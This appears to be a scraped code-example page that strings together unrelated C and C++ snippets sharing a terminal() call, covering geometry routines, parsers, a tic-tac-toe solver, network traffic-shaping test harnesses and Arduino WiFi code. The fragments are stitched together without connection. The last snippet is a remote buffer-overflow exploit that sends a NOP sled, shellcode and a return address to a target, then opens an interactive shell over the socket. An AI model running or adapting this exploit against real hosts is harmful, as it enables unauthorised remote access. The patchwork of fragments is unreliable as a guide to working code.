/*!

*/
double
Segment2D::dist( const Vector2D & p ) const
{
    double len = this->length();

    if ( len == 0.0 )
    {
        return origin().dist( p );
    }

    const Vector2D vec = terminal() - origin();
    const double prod = vec.innerProduct( p - origin() );

    //
    // A: p1 - p0
    // A: p - p0
    //
    // check if 0 <= |B|cos(theta) <= |A|
    //       -> 0 <= |A||b|cos(theta) <= |A|^2
    //       -> 0 <= A.B <= |A|^2  // A.B = |A||B|cos(theta)
    //
    if ( 0.0 <= prod && prod <= len * len )
    {
        // return perpendicular distance
        //return std::fabs( Triangle2D( *this, p ).doubleSignedArea() / len );
        return std::fabs( Triangle2D::double_signed_area( origin(), terminal(), p ) / len );
    }

    return std::sqrt( std::min( origin().dist2( p ),
                                terminal().dist2( p ) ) );
}
Exemple #2
0
int		parse_properties(t_list **tokens)
{
	t_list	*save;

	save = *tokens;
	if (terminal(tokens, WORD) == 0)
	{
		(*tokens) = save;
		return (0);
	}
	(*tokens) = (*tokens)->next;
	if (terminal(tokens, COLON) == 0)
	{
		(*tokens) = save;
		return (0);
	}
	(*tokens) = (*tokens)->next;
	if (terminal(tokens, WORD) == 0)
	{
		(*tokens) = save;
		return (0);
	}
	(*tokens) = (*tokens)->next;
	if (terminal(tokens, COMMA))
	{
		(*tokens) = (*tokens)->next;
		parse_properties(tokens);
	}
	return (1);
}
/*!

*/
Vector2D
Segment2D::nearestPoint( const Vector2D & p ) const
{
    const Vector2D vec = terminal() - origin();

    const double len_square = vec.r2();

    if ( len_square == 0.0 )
    {
        return origin();
    }


    double inner_product = vec.innerProduct( (p - origin()) );

    //
    // A: p1 - p0
    // B: p - p0
    //
    // check if 0 <= |B|cos(theta) <= |A|
    //       -> 0 <= |A||B|cos(theta) <= |A|^2
    //       -> 0 <= A.B <= |A|^2  // A.B = |A||B|cos(theta)
    //
    if ( inner_product <= 0.0 )
    {
        return origin();
    }
    else if ( inner_product >= len_square )
    {
        return terminal();
    }

    return origin() + vec * inner_product / len_square;
}
/*!

*/
bool
Segment2D::existIntersection( const Line2D & l ) const
{
    double a0 = l.a() * origin().x + l.b() * origin().y + l.c();
    double a1 = l.a() * terminal().x + l.b() * terminal().y + l.c();

    return a0 * a1 <= 0.0;
}
Exemple #5
0
void ac::loadKonsole()
{
	KLibFactory* factory = KLibLoader::self()->factory( "libsanekonsolepart" );
	if (!factory)
		factory = KLibLoader::self()->factory( "libkonsolepart" );
	konsole = static_cast<KParts::Part*>( factory->create( konsoleFrame, "konsolepart", "QObject", "KParts::ReadOnlyPart" ) );
	terminal()->setAutoDestroy( true );
	terminal()->setAutoStartShell( false );
	konsole->widget()->setGeometry(0, 0, konsoleFrame->width(), konsoleFrame->height());	
}
Exemple #6
0
QByteArray Device::netListConnects() {
    QByteArray connects;
    for(int i=0; i < numberPorts(); ++i){
        if(terminal(i)->isRef()){
            connects.append("0");
        }else{
            connects.append( QByteArray::number(terminal(i)->id()) );
        }
        connects.append(" ");
    }
    return connects;
}
// private
bool
Segment2D::checkIntersectsOnLine( const Vector2D & p ) const
{
    if ( origin().x == terminal().x )
    {
        return ( origin().y <= p.y && p.y <= terminal().y )
            || ( terminal().y <= p.y && p.y <= origin().y );
    }
    else
    {
        return ( origin().x <= p.x && p.x <= terminal().x )
            || ( terminal().x <= p.x && p.x <= origin().x );
    }
}
Exemple #8
0
Fichier : lex.c Projet : mpw/p2
void
node_token (NODE **dest, const char *src, int len, const CTYPE *ctype)
{
  NODE *n = terminal(TYP, src, ctype);
  (*dest) = n;
  add_token_queue(src, len);
}
Exemple #9
0
//ITE FUNCTION
int circuit::ITE(int i, int t, int e){
	int terminalResult = 0;

	//Check if ITE is a terminal node
	if(terminal(i, t, e, terminalResult)){
		return terminalResult;		
	}
	
	//Check computed Table to see if ITE is already computed
	if(iteExists(i,t,e, terminalResult))
		return terminalResult;

	//Get top variable give i t e 
	int top = topVariable(i, t, e);

	//Recurse ITE through true and false edge
	int TE = ITE(function(i, top, true), function(t, top, true), function(e, top, true));
	int FE = ITE(function(i, top, false), function(t, top, false), function(e, top, false));

	//Check if TE and FE are the same. 
	if(TE == FE)
		return TE;
	
	//Add node into table if unique
	int label = insertUT(top, TE, FE);

	//Add node to CT;
	int keys[] = {i, t, e};
	std::vector<int> key (keys, keys+sizeof(keys)/sizeof(int));
	hashCT[key] = label;

	return label;
}
Exemple #10
0
/*!

*/
Vector2D
Segment2D::projection( const Vector2D & p ) const
{
    Vector2D dir = terminal() - origin();
    double len = dir.r();

    if ( len < EPSILON )
    {
        return origin();
    }

    dir /= len; // normalize

    double d = dir.innerProduct( p - origin() );
    if ( -EPSILON < d && d < len + EPSILON )
    {
        dir *= d;
        return Vector2D( origin() ) += dir;
    }

    return Vector2D::INVALIDATED;

#if 0
    Line2D my_line = this->line();
    Vector2D sol = my_line.projection( p );

    if ( ! sol.isValid()
         || ! this->contains( sol ) )
    {
        return Vector2D::INVALIDATED;
    }

    return sol;
#endif
}
Exemple #11
0
/*!

 */
bool
Segment2D::onSegmentWeakly( const Vector2D & p ) const
{
    Vector2D proj = projection( p );

    return ( proj.isValid()
             && p.equalsWeakly( proj ) );

#if 0
    Vector2D o = origin();
    Vector2D t = terminal();

    const double buf = ( allow_on_terminal
                         ? EPSILON
                         : 0.0 );

    if ( std::fabs( ( t - o ).outerProduct( p - o ) ) < EPSILON )
    {
        if ( std::fabs( o.x - t.x ) < EPSILON )
        {
            return ( ( o.y - buf < p.y && p.y < t.y + buf )
                     || ( t.y - buf < p.y && p.y < o.y + buf ) );
        }
        else
        {
            return ( ( o.x - buf < p.x && p.x < t.x + buf )
                     || ( t.x - buf < p.x && p.x < o.x + buf) );
        }
    }

    return false;
#endif
}
Exemple #12
0
/*!

*/
bool
Segment2D::onSegment( const Vector2D & p ) const
{
    //return Triangle2D( *this, p ).doubleSignedArea() == 0.0
    return Triangle2D::double_signed_area( origin(), terminal(), p ) == 0.0
            && checkIntersectsOnLine( p );
}
/* Връща 1, ако конфигурацията е печеливша за играча player, 2 — ако е губеща и
 * 3, ако е неопределена
 */
char checkPosition(char player, char board[3][3])
{ unsigned i, j, result;
  int t = terminal(board);
  if (t) {
    if (player == t) return 1;
    if (3 == t) return 3;
    if (player != t) return 2;
  }
  else {
    char otherPlayer, playerSign;
    if (player == 1) { playerSign = 'X'; otherPlayer = 2; }
      else { playerSign = 'O'; otherPlayer = 1; }

    /* char boardi[3][3]; Ј
     * определя позицията
     */
    for (i = 0; i < 3; i++) {
      for (j = 0; j < 3; j++) {
        if (board[i][j] == '.') {
          board[i][j] = playerSign;
          result = checkPosition(otherPlayer, board);
          board[i][j] = '.';
          if (result == 2) return 1;  /* конфигурацията е губеща за противника, */
          /* следователно е печеливша за играча player */
          if (result == 3) return 3;  /* конфигурацията е неопределена */
        }
      }
    }
    /* ако сме достигнали дотук, значи всички наследници са печеливши конфигурации и
     * следователно тази е губеща за играча player
     */
    return 2;
  }
}
Exemple #14
0
ac::ac(const QString &changes, QWidget *parent, const char *name, const QStringList &)
:AcDialog(parent, name)
{

	borderFrame->hide();
	setGeometry( x(), y(), 500, 30);
	borderFrame->setGeometry( 0, 0, 500, 400);
	konsoleFrame->setGeometry( 0, 0, 500, 400);

	appdir   = "/usr/share/apt-get-konsole/";

	loadKonsole();
	konsoleFrame->installEventFilter( this );

	changes2 = changes;

	QStrList run;
	run.append( appdir+"sh/applyChanges" );

	run.append( changes );

	// run command
	terminal()->startProgram( appdir+"sh/applyChanges", run );

	j=0;
	firstdownload = TRUE;

	connect( konsole, SIGNAL( receivedData( const QString& ) ), SLOT( shellOutput( const QString&) ) );
	connect( konsole, SIGNAL( destroyed() ), SLOT( close() ) );
}
Exemple #15
0
int main()
{
	srand (time(NULL));
	
	setlocale(LC_ALL,"");

	//initialize ncurses
	initscr();
	
	start_color();
	init_pair(1, COLOR_GREEN, COLOR_BLACK);

	keypad(stdscr, TRUE);
	curs_set(FALSE);
	noecho();
	
	//timeout(200); //adjust speed of the game
	

	int xmax, ymax;
	getmaxyx(stdscr, ymax, xmax);

	Board terminal(ymax, xmax);
	
	attron(COLOR_PAIR(1));
	Gamesession gottacatchemall(terminal, 200);

	gottacatchemall.playon(terminal);
	
	endwin();
	
	return 0;

}
Exemple #16
0
/*
void test(void)
{
	window win;
	char name[10]="window";
	clearscreen();
	win_init(&win,1,1,10,40,name,blightgray|fwhite,blightgray|fblack);
	win_create(&win);

	win_putchar(&win,'n');
	win_putchar(&win,'\n');

	int i;
	for(i=0;i<7;i++)
	win_putstring(&win,"testing win_putstring\n");/
	for(i=0;i<4;i++)//
	win_putstring(&win,"new line\n");

}
*/
int main(struct multiboot *mboot_ptr)
{
	welcome();		

	init_descriptor_tables();

	asm volatile("sti");
	
	init_timer(1);

	wait(1);
	win_clear(&win_boot);

	win_putstring(&win_boot,"\ninitializing timer...\t");
	wait(1);
	win_putstring(&win_boot," done");

	win_putstring(&win_boot,"\ninitializing keyboard...\t");
	init_kbd();
	wait(1);
	win_putstring(&win_boot," done");

	win_putstring(&win_boot,"\npress any key to continue...\n");

	u8int s,a;

	kbd_read(&s,&a);

	clearscreen();
	terminal();	
	
	while(1);	
    return 0;

}
Exemple #17
0
int main(int argc, char **argv)
{
	printf("Ejercicio TicTacToe.\n");
	int jugador;  //+1 o -1
	int primero,ganador;
	tNodo *juego = crearNodo(tablero_inicial);
	dispNodo(juego);

	printf("El Agente Inteligente juega con X \n El Jugador Humano con O \n Elige el turno 1:Primero o 2:Segundo ");
	scanf("%d",&primero);
	printf("\n");

	if(primero == 1)
		jugador = -1; //Turno de Min
	else
		jugador = 1; //Turno de Max

	ganador = terminal(juego,jugador);

	while(juego->vacias > 0 && ganador == 0)
	{
		if(jugador == 1)
			juego = (tNodo *) PSEUDOminimax(juego);
		else
			juego = (tNodo *) jugadaAdversario(juego);

		dispNodo(juego);
		ganador = terminal(juego,jugador);
		jugador = opuesto(jugador);//turno del adversario
	}

	switch(ganador)
	{
		case 100:
			printf("\n HE GANADOOOO\n");
			break;
		case 0:
			printf("\n EMPATE\n");
			break;
		case -100:
			printf("\n Increible pero has ganado tu :(( \n\n");
			break;
		default: printf("\n algo ha salido mal en el juego ..\n");
	}
	return 0;
}
Exemple #18
0
/**
 * \brief The entry point of the sample
 */
int main(int argc, char *argv[])
{
    // Start console application and check arguments
    ConsoleApplication app(argc, argv);
    
    // Enable logging
    Log::enable(Log::LOG_LEVEL_INFO);
    
    // Setup emulator
    BasicEmulator emulator("10.0.0.1", 3201);
    emulator.setParam("Algorithm", "htb");
    emulator.setParam("FairQueue", "on");
    emulator.setParam("TxRate", "256kbps");
    emulator.setParam("RxRate", "2000kbps");
    emulator.commit();

    // Setup router
    SshTerminal terminal("-p voyage ssh [email protected]"); // use sshpass
    terminal.start();

    // Exec tests
    for (int test_index = 0; test_index < 2; test_index++)
    {
        // Setup Router
        if (test_index == 0) // In test one, fifo queues are applied as the default qdisc
        {
            terminal.enter("tc qdisc show\n");
        }
        else // In test two, use htb
        {
            terminal.enter("tc qdisc add dev eth1 root handle 1: htb default 40\n");
            terminal.enter("tc class add dev eth1 parent 1: classid 1:1 htb rate 1600kbit ceil 1600kbit quantum 1540\n");
            terminal.enter("tc class add dev eth1 parent 1:1 classid 1:10 htb rate 400kbit ceil 1600kbit quantum 1540\n");
            terminal.enter("tc class add dev eth1 parent 1:1 classid 1:20 htb rate 400kbit ceil 1600kbit quantum 1540\n");
            terminal.enter("tc class add dev eth1 parent 1:1 classid 1:30 htb rate 400kbit ceil 1600kbit quantum 1540\n");
            terminal.enter("tc class add dev eth1 parent 1:1 classid 1:40 htb rate 400kbit ceil 1600kbit quantum 1540\n");
            terminal.enter("tc filter add dev eth1 parent 1: protocol ip prio 1 u32 match ip dst 172.16.0.16 flowid 1:10\n");
            terminal.enter("tc filter add dev eth1 parent 1: protocol ip prio 1 u32 match ip dst 172.16.0.17 flowid 1:20\n");
            terminal.enter("tc filter add dev eth1 parent 1: protocol ip prio 1 u32 match ip dst 172.16.0.18 flowid 1:30\n");
            terminal.enter("tc filter add dev eth1 parent 1: protocol ip prio 1 u32 match ip dst 172.16.0.19 flowid 1:40\n");
        }

        // Execute Test
        int threads[15] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 };
        execTest(app, 3, 15, threads, true, true);

        // Reset router
        if (test_index == 1)
        {
            terminal.enter("tc qdisc del dev eth1 root\n");
        }
    }
    emulator.reset();
    terminal.close();

    // Exit
    return 0;
}
Exemple #19
0
void main()
{
    com2 << "at m1 l1 s0=0 s7=90 e1 q0 v1 x4 &c1 &d2\r";
//    if (!com2.dtr())  // not really necessary
//        com2.setDtr();
    terminal();
//    answer();     // still doesn't work right
//    com2.dropDtr();
}
Exemple #20
0
/**
 * \brief The entry point of the sample
 */
int main(int argc, char *argv[])
{
    // Start console application and check arguments
    ConsoleApplication app(argc, argv);
    
    // Enable logging
    Log::enable(Log::LOG_LEVEL_INFO);
    
    // Setup emulator
    BasicEmulator emulator("10.0.0.1", 3201);
    emulator.setParam("Algorithm", "htb");
    emulator.setParam("FairQueue", "off");
    emulator.setParam("TxRate", "256kbps");
    emulator.setParam("RxRate", "2000kbps");
    emulator.commit();

    // Setup router
    SshTerminal terminal("-p voyage ssh [email protected]"); // use sshpass
    terminal.start();

    // Exec tests
    for (int bulkUsers = 1; bulkUsers <= 9; bulkUsers++)
    {
        // Setup Router
        terminal.enter(QString(
            "tc qdisc add dev eth0 root handle 1: htb default %1\n")
            .arg((bulkUsers + 1) * 10));
        terminal.enter(
            "tc class add dev eth0 parent 1: classid 1:1 htb rate 240kbit quantum 1540\n");
        for (int i = 1; i <= bulkUsers + 1; i++)
        {
            terminal.enter(QString(
                "tc class add dev eth0 parent 1:1 classid 1:%1 htb rate %2kbit ceil 240kbit quantum 1540\n")
                .arg(i * 10).arg(240 / (bulkUsers + 1)));
            terminal.enter(QString(
                "tc filter add dev eth0 parent 1: protocol ip prio 1 handle %1 fw flowid 1:%1\n")
                .arg(i * 10));
            terminal.enter(QString(
                "iptables -t mangle -A FORWARD -s 172.16.0.%1 -j MARK --set-mark %2\n")
                .arg(16 + i - 1).arg(i * 10));
        }

        // Execute Test
        printf("\nTest %d: %d users\n", bulkUsers, bulkUsers);
        execTest(app, bulkUsers, 64, true, true);

        // Reset router
        terminal.enter("tc qdisc del dev eth0 root\n");
        terminal.enter("iptables -t mangle -F FORWARD\n");
    }
    emulator.reset();
    terminal.close();

    // Exit
    return 0;
}
void loop()
{

	delay(2000);   
	enterCmdMode();
	delay(250);
	//enterCmdMode();
	//delay(250);

	//wifi.println();
	wifi.println("get mac");
	delay(250);
	readWifi();
	delay(250);
	exitCmdMode();
	delay(250);
	readWifi();
	

	//terminal();
	//Serial.print("Ping count = ");
	//Serial.println(count);
	//enterCmdMode();
	//enterCmdMode();
	
//	for (int i = 0 ; i < 2; i++ ) {
//		//Ping terminal 20 times 
//		wifi.println("ping 10.42.8.35");
//		delay(500); // wait 500 ms
//	}	
	//exitCmdMode();


/*
    if ((millis() - lastSend) > 1000) {
        count++;
	Serial.print("Sending message ");
	Serial.println(count);

	wifi.print("Hello, count=");
	wifi.println(count);
	lastSend = millis();
    }


*/
    if (Serial.available()) {
        /* if the user hits 't', switch to the terminal for debugging */
        if (Serial.read() == 't') {
	    terminal();
	}
    }

}
Exemple #22
0
int		parse_camera(t_list **tokens)
{
	t_list	*save;

	save = *tokens;
	if (terminal(tokens, WORD) == 0 || ft_strcmp(get_token(tokens)->lexeme, "camera"))
	{
		(*tokens) = save;
		return (0);
	}
	(*tokens) = (*tokens)->next;
	if (terminal(tokens, OPENING_BRACKET) == 0)
		return (0);
	(*tokens) = (*tokens)->next;
	if (parse_properties(tokens) == 0)
		return (0);
	if (terminal(tokens, CLOSING_BRACKET) == 0)
		return (0);
	(*tokens) = (*tokens)->next;
	return (1);
}
Exemple #23
0
void BasicBlock::replaceTerminal(Node* node)
{
    NodeAndIndex result = findTerminal();
    if (!result)
        append(node);
    else {
        m_nodes.insert(result.index + 1, node);
        result.node->convertToPhantom();
    }
    
    ASSERT(terminal());
}
Exemple #24
0
bool Sector::Intersects(const Line& line) const {
    if(this->Intersects(Point(line.GetPointOne()))) return true;
    if(this->Intersects(Point(line.GetPointTwo()))) return true;

    Line initial(GetPosition(), GetStartPoint().GetPosition());
    Line terminal(GetPosition(), GetEndPoint().GetPosition());

    if(initial.Intersects(line)) return true;
    if(terminal.Intersects(line)) return true;

    return false;
}
Exemple #25
0
int		parse_shape(t_list **tokens)
{
	t_list	*save;

	save = *tokens;
	if (terminal(tokens, WORD) == 0)
	{
		(*tokens) = save;
		return (0);
	}
	(*tokens) = (*tokens)->next;
	if (terminal(tokens, OPENING_BRACKET) == 0)
		return (0);
	(*tokens) = (*tokens)->next;
	if (parse_properties(tokens) == 0)
		return (0);
	if (terminal(tokens, CLOSING_BRACKET) == 0)
		return (0);
	(*tokens) = (*tokens)->next;
	return (1);
}
Exemple #26
0
/*!

*/
Vector2D
Segment2D::intersection( const Segment2D & other,
                         const bool allow_end_point ) const
{
    Vector2D sol = this->line().intersection( other.line() );

    if ( ! sol.isValid()
         || ! this->contains( sol )
         || ! other.contains( sol ) )
    {
        return Vector2D::INVALIDATED;
    }

    if ( ! allow_end_point
         && ! existIntersectionExceptEndpoint( other ) )
    {
        return Vector2D::INVALIDATED;
    }

    return sol;

#if 0
    // Following algorithm seems faster ther above.
    // In fact, the following algorithm slower...

    Vector2D ab = terminal() - origin();
    Vector2D dc = other.origin() - other.terminal();
    Vector2D ad = other.terminal() - origin();

    double det = dc.outerProduct( ab );

    if ( std::fabs( det ) < 1.0e-9 )
    {
        // area size is 0.
        // segments has same slope.
        std::cerr << "Segment2D::intersection()"
                  << " ***ERROR*** parallel segments"
                  << std::endl;
        return Vector2D::INVALIDATED;
    }

    double s = ( dc.x * ad.y - dc.y * ad.x ) / det;
    double t = ( ab.x * ad.y - ab.y * ad.x ) / det;

    if ( s < 0.0 || 1.0 < s || t < 0.0 || 1.0 < t )
    {
        return Vector2D::INVALIDATED;
    }

    return Vector2D( origin().x + ab.x * s, origin().y + ab.y * s );
#endif
}
Exemple #27
0
/*!

*/
double
Segment2D::dist( const Segment2D & seg ) const
{
    if ( this->existIntersection( seg ) )
    {
        return 0.0;
    }

    return std::min( std::min( this->dist( seg.origin() ),
                               this->dist( seg.terminal() ) ),
                     std::min( seg.dist( origin() ),
                               seg.dist( terminal() ) ) );
}
boolean connectWifi (SoftwareSerial *wifiSerial, const char *ssid, const char *pass) {
  if (!wifly.begin(wifiSerial, &Serial)) {
    Serial.println(F("Could not start Wifly module."));
    terminal();
    return false;
  }
 
  // Join wifi network if not already associated
  if (!wifly.isAssociated()) {
    wifly.setSSID(ssid);
    wifly.setPassphrase(pass);
    wifly.enableDHCP();
    wifly.setDeviceID("Wifly-WebClient");
 
    if (!wifly.join()) {
      Serial.println(F("Failed to join wifi network"));
      terminal();
      return false;
    }
  }
  return true;
}
Exemple #29
0
/*
 * Construct the parsing table.  The parsing table is logically a 2D
 * array, indexed by a nonterminal index and a terminal index.
 * The [N, T] entry contains a rule index (index into grammar[]).
 * See Wikipedia again.
 */
static void init_parsing_table(void)
{
    size_t i, j;

    for (i = 0; i < nonterminals_size; i++) {
	char A = nonterminal(i);
	for (j = 0; j < terminals_size; j++) {
	    char a = terminal(j);
	    *next_parsing_table(1) = pt_entry(A, a);
	}
    }
    
#if DUMP_TABLES
    printf("parsing table\n");
    printf("    ");
    for (j = 0; j < TOKEN_TYPE_COUNT; j++)
	printf("%3c", terminal(j));
    printf("\n");
    printf("    ");
    for (j = 0; j < terminals_size; j++)
	printf("---");
    printf("\n");
    for (i = 0; i < nonterminals_size; i++) {
	printf("%3c :", nonterminal(i));
	for (j = 0; j < terminals_size; j++) {
	    uint_fast8_t e = parsing_table_entry(i, j);
	    if (e == NO_RULE)
		printf(" - ");
	    else
		printf("%3d", e);
	}
	printf("\n");
    }

    printf("\n");
#endif    
}
void main (int argc, char **argv) {
  int i, rc;
  char buf[2048];
  struct sockaddr_in sin;
  char *s;
  int sock;

  if (argc != 2) {
    printf("Usage: %s <host[:port]>\n", argv[0]);
    exit(0);
  }
  s = strchr(argv[1], ':');
  if (s) {
    *s=0;
    port = atoi(s+1);
  }

  sin.sin_port = htons(port);
  sin.sin_addr.s_addr = resolve(argv[1]);
  sin.sin_family = AF_INET;

  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1) {
    perror("socket()");
    exit(0);
  }

  rc = connect(sock, (struct sockaddr *)&sin, sizeof(sin));
  if (rc == -1) {
    perror("connect()");
    exit(0);
  }

  for (i=0;i<1500;i++)
    buf[i]=0x90;        

  memcpy(&buf[999-sizeof(overflow)], overflow, sizeof(overflow));

  buf[999]=ADDR & 0xFF;
  buf[1000]=(ADDR >> 8) & 0xFF;
  buf[1001]=(ADDR >> 16) & 0xFF;
  buf[1002]=(ADDR >> 24) & 0xFF;
  buf[1003]='\n';

  send(sock, buf, 1003, 0);

  terminal(sock);
  exit(0);
}